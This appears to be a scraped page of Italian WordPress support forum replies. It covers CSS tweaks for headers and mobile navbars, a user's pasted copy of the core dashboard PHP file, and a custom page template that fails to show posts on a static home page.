      Custom Content Shortcode
      Custom CSS Pro
      CustomVale
      Duplicate Post
      Email Log
      Embed Any Document Plus
      Hide My Site
      LearnPress – Certificates
      LearnPress – Content Drip
      LearnPress – Random Quiz
      LearnPress
      Custom Login Page Customizer
      Multiple Roles
      PayPal for WooCommerce
      Plugin Notes Plus
      Pods Caldera Forms Processor
      Pods
      Profile Builder
      Quiz Next master
      Redirection
      Estratti Rich Text
      WooCommerce Product Slider
      Booster for WooCommerce
      WooCommerce
      WooDiscuz – WooCommerce Comments
      Yoast SEO
      WP Menu Cart
      WP Users Media
      WPB WooCommerce Related Products Slider
      Custom Product Tabs for WooCommerce
      YITH WooCommerce Badge Management
      YITH WooCommerce Multi Vendor Premium

      Grazie

    Forum: Aspetto = Temi
    In risposta a: Responsive headers?

    Ciao @starter8081,

    non credo di avere capito benissimo e potresti dover anche modificare media queries e tante altre cose ma questo dovreb be indirizzarti verso la buona strada.
    Nel tuo custom editor di WordPress:

    #page-header .background-element {
        min-height: 500px !important;
    }

    Cheers!

    In Personalizza > CSS aggiuntivo, scrivi:

    .page-title {display:none;}

    Oppure, se hai già un child theme scrivilo nel suo foglio stile.

    Edit: mi sono accorta ora che hai chiesto come cambiarlo, non di toglierlo.
    In questo caso dovrai creare per forza un child theme e modificare il file index.php:

    <header class="page-header">
    <h2 class="page-title"><?php _e( 'Posts', 'twentyseventeen' ); ?></h2>
    </header>

    sostituendo la parola ‘Posts’.

    Forum: Aspetto = Temi
    In risposta a: Navbar tema mobile
    @media (max-width: 768px) {
    .navbar-header {
    	background: grey;
    }
    }

    Però le modifiche ai temi non si fanno da aspetto>impostazioni>css o quello che è (editor), ma bisogna farle o nel CSS personalizzato SE il tema lo prevede, oppure creare un child-theme, non solo perché al prossimo aggiornamento del tema perderesti tutte le modifiche, ma anche perché è importante avere la versione originale del tema.

    Edit:
    se vuoi modificare anche la parte che scende, aggiungerai le classi suggerite da @tonicopi, e quindi sarà:
    .navbar-header, .navbar-fixed-bottom .navbar-collapse, .navbar-fixed-top .navbar-collapse

    Chi ha creato la discussione zacducati

    (@zacducati)

    Seguendo le sue indicazioni, ho trovato il file, di cui riporto il contenuto:

    <?php
    /**
    * Dashboard Administration Screen
    *
    * @package WordPress
    * @subpackage Administration
    */

    /** Load WordPress Bootstrap */
    require_once( dirname( __FILE__ ) . ‘/admin.php’ );

    /** Load WordPress dashboard API */
    require_once(ABSPATH . ‘wp-admin/includes/dashboard.php’);

    wp_dashboard_setup();

    wp_enqueue_script( ‘dashboard’ );
    if ( current_user_can( ‘edit_theme_options’ ) )
    wp_enqueue_script( ‘customize-loader’ );
    if ( current_user_can( ‘install_plugins’ ) )
    wp_enqueue_script( ‘plugin-install’ );
    if ( current_user_can( ‘upload_files’ ) )
    wp_enqueue_script( ‘media-upload’ );
    add_thickbox();

    if ( wp_is_mobile() )
    wp_enqueue_script( ‘jquery-touch-punch’ );

    $title = __(‘Dashboard’);
    $parent_file = ‘index.php’;

    $help = ‘<p>’ . __( ‘Welcome to your WordPress Dashboard! This is the screen you will see when you log in to your site, and gives you access to all the site management features of WordPress. You can get help for any screen by clicking the Help tab in the upper corner.’ ) . ‘</p>’;

    // Not using chaining here, so as to be parseable by PHP4.
    $screen = get_current_screen();

    $screen->add_help_tab( array(
    ‘id’ => ‘overview’,
    ‘title’ => __( ‘Overview’ ),
    ‘content’ => $help,
    ) );

    // Help tabs

    $help = ‘<p>’ . __( ‘The left-hand navigation menu provides links to all of the WordPress administration screens, with submenu items displayed on hover. You can minimize this menu to a narrow icon strip by clicking on the Collapse Menu arrow at the bottom.’ ) . ‘</p>’;
    $help .= ‘<p>’ . __( ‘Links in the Toolbar at the top of the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful WordPress information.’ ) . ‘</p>’;

    $screen->add_help_tab( array(
    ‘id’ => ‘help-navigation’,
    ‘title’ => __( ‘Navigation’ ),
    ‘content’ => $help,
    ) );

    $help = ‘<p>’ . __( ‘You can use the following controls to arrange your Dashboard screen to suit your workflow. This is true on most other administration screens as well.’ ) . ‘</p>’;
    $help .= ‘<p>’ . __( ‘Screen Options – Use the Screen Options tab to choose which Dashboard boxes to show.’ ) . ‘</p>’;
    $help .= ‘<p>’ . __( ‘Drag and Drop – To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and releasing when you see a gray dotted-line rectangle appear in the location you want to place the box.’ ) . ‘</p>’;
    $help .= ‘<p>’ . __( ‘Box Controls – Click the title bar of the box to expand or collapse it. Some boxes added by plugins may have configurable content, and will show a “Configure” link in the title bar if you hover over it.’ ) . ‘</p>’;

    $screen->add_help_tab( array(
    ‘id’ => ‘help-layout’,
    ‘title’ => __( ‘Layout’ ),
    ‘content’ => $help,
    ) );

    $help = ‘<p>’ . __( ‘The boxes on your Dashboard screen are:’ ) . ‘</p>’;
    if ( current_user_can( ‘edit_posts’ ) )
    $help .= ‘<p>’ . __( ‘At A Glance – Displays a summary of the content on your site and identifies which theme and version of WordPress you are using.’ ) . ‘</p>’;
    $help .= ‘<p>’ . __( ‘Activity – Shows the upcoming scheduled posts, recently published posts, and the most recent comments on your posts and allows you to moderate them.’ ) . ‘</p>’;
    if ( is_blog_admin() && current_user_can( ‘edit_posts’ ) )
    $help .= ‘<p>’ . __( “Quick Draft – Allows you to create a new post and save it as a draft. Also displays links to the 5 most recent draft posts you’ve started.” ) . ‘</p>’;
    if ( ! is_multisite() && current_user_can( ‘install_plugins’ ) )
    $help .= ‘<p>’ . __( ‘WordPress News – Latest news from the official WordPress project, the WordPress Planet, and popular and recent plugins.’ ) . ‘</p>’;
    else
    $help .= ‘<p>’ . __( ‘WordPress News – Latest news from the official WordPress project, the WordPress Planet.’ ) . ‘</p>’;
    if ( current_user_can( ‘edit_theme_options’ ) )
    $help .= ‘<p>’ . __( ‘Welcome – Shows links for some of the most common tasks when setting up a new site.’ ) . ‘</p>’;

    $screen->add_help_tab( array(
    ‘id’ => ‘help-content’,
    ‘title’ => __( ‘Content’ ),
    ‘content’ => $help,
    ) );

    unset( $help );

    $screen->set_help_sidebar(
    ‘<p>‘ . __( ‘For more information:’ ) . ‘</p>’ .
    ‘<p>’ . __( ‘Documentation on Dashboard‘ ) . ‘</p>’ .
    ‘<p>’ . __( ‘Support Forums‘ ) . ‘</p>’
    );

    include( ABSPATH . ‘wp-admin/admin-header.php’ );
    ?>

    <div class=”wrap”>
    <h1><?php echo esc_html( $title ); ?></h1>

    <?php if ( has_action( ‘welcome_panel’ ) && current_user_can( ‘edit_theme_options’ ) ) :
    $classes = ‘welcome-panel’;

    $option = get_user_meta( get_current_user_id(), ‘show_welcome_panel’, true );
    // 0 = hide, 1 = toggled to show or single site creator, 2 = multisite site owner
    $hide = 0 == $option || ( 2 == $option && wp_get_current_user()->user_email != get_option( ‘admin_email’ ) );
    if ( $hide )
    $classes .= ‘ hidden’; ?>

    <div id=”welcome-panel” class=”<?php echo esc_attr( $classes ); ?>”>
    <?php wp_nonce_field( ‘welcome-panel-nonce’, ‘welcomepanelnonce’, false ); ?>
    “><?php _e( ‘Dismiss’ ); ?>
    <?php
    /**
    * Add content to the welcome panel on the admin dashboard.
    *
    * To remove the default welcome panel, use {@see remove_action()}:
    *
    * remove_action( ‘welcome_panel’, ‘wp_welcome_panel’ );
    *
    * @since 3.5.0
    */
    do_action( ‘welcome_panel’ );
    ?>
    </div>
    <?php endif; ?>

    <div id=”dashboard-widgets-wrap”>
    <?php wp_dashboard(); ?>
    </div><!– dashboard-widgets-wrap –>

    </div><!– wrap –>

    <?php
    require( ABSPATH . ‘wp-admin/admin-footer.php’ );

    • come da titolo, sto sviluppando un nuovo template per un sito.. il problema è che in homepage non vedo gli articoli, ho creato un modello di pagina e l’ho assegnato alla pagina statica home.

      Non vedo ne l’articolo di prova ne i miei di prova… vedo solo la sidebar e la scritta “Home”

      <?php
      
      // Exit if accessed directly
      if ( !defined( 'ABSPATH' ) ) {
      	exit;
      }
      
      /**
       * Sidebar/Content Template
       *
      Template Name:  hometango
       *
       * @file           home_page.php
       * @package        Responsive
       * @author        ty
       * @copyright      ty
       * @license        license.txt
       * @version        Release: 1.0
       * @filesource     wp-content/themes/responsive/home_page.php
       * @link           http://codex.wordpress.org/Theme_Development#Pages_.28page.php.29
       * @since          available since Release 1.0
       */
      ?>
      <?php get_header(); ?>
      
      <div id="content" class="grid-right col-620 fit">
      
      	<?php if ( have_posts() ) : ?>
      
      		<?php while( have_posts() ) : the_post(); ?>
      
      			<?php get_responsive_breadcrumb_lists(); ?>
      
      			<?php responsive_entry_before(); ?>
      			<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
      				<?php responsive_entry_top(); ?>
      
      				<h1 class="post-title"><?php the_title(); ?></h1>
      
      				<?php if ( comments_open() ) : ?>
      					<div class="post-meta">
      						<?php responsive_post_meta_data(); ?>
      
      						<?php if ( comments_open() ) : ?>
      							<span class="comments-link">
                              <span class="mdash">&mdash;</span>
      								<?php comments_popup_link( __( 'No Comments &darr;', 'responsive' ), __( '1 Comment &darr;', 'responsive' ), __( '% Comments &darr;', 'responsive' ) ); ?>
                              </span>
      						<?php endif; ?>
      					</div><!-- end of .post-meta -->
      				<?php endif; ?>
      
      				<div class="post-entry">
      					<?php the_content( __( 'Read more ›', 'responsive' ) ); ?>
      					<?php wp_link_pages( array( 'before' => '<div class="pagination">' . __( 'Pages:', 'responsive' ), 'after' => '</div>' ) ); ?>
      				</div>
      				<!-- end of .post-entry -->
      
      				<?php if ( comments_open() ) : ?>
      					<div class="post-data">
      						<?php the_tags( __( 'Tagged with:', 'responsive' ) . ' ', ', ', '<br />' ); ?>
      						<?php the_category( __( 'Posted in %s', 'responsive' ) . ', ' ); ?>
      					</div><!-- end of .post-data -->
      				<?php endif; ?>
      
      				<div class="post-edit"><?php edit_post_link( __( 'Edit', 'responsive' ) ); ?></div>
      
      				<?php responsive_entry_bottom(); ?>
      			</div><!-- end of #post-<?php the_ID(); ?> -->
      			<?php responsive_entry_after(); ?>
      
      			<?php responsive_comments_before(); ?>
      			<?php comments_template( '', true ); ?>
      			<?php responsive_comments_after(); ?>
      
      		<?php
      		endwhile;
      
      		get_template_part( 'loop-nav', get_post_type() );
      
      	else :
      
      		get_template_part( 'loop-no-posts', get_post_type() );
      
      	endif;
      	?>
      
      </div><!-- end of #content -->
      
      <?php get_sidebar( 'left' ); ?>
      <?php get_footer(); ?>

      Idee?

      • Questo topic è stato modificato 10 anni, 5 mesi fa da nrik.
      • Questo topic è stato modificato 10 anni, 5 mesi fa da Cristiano Zanca.
Stai vedendo 12 risultati - da 1 a 12 (di 12 totali)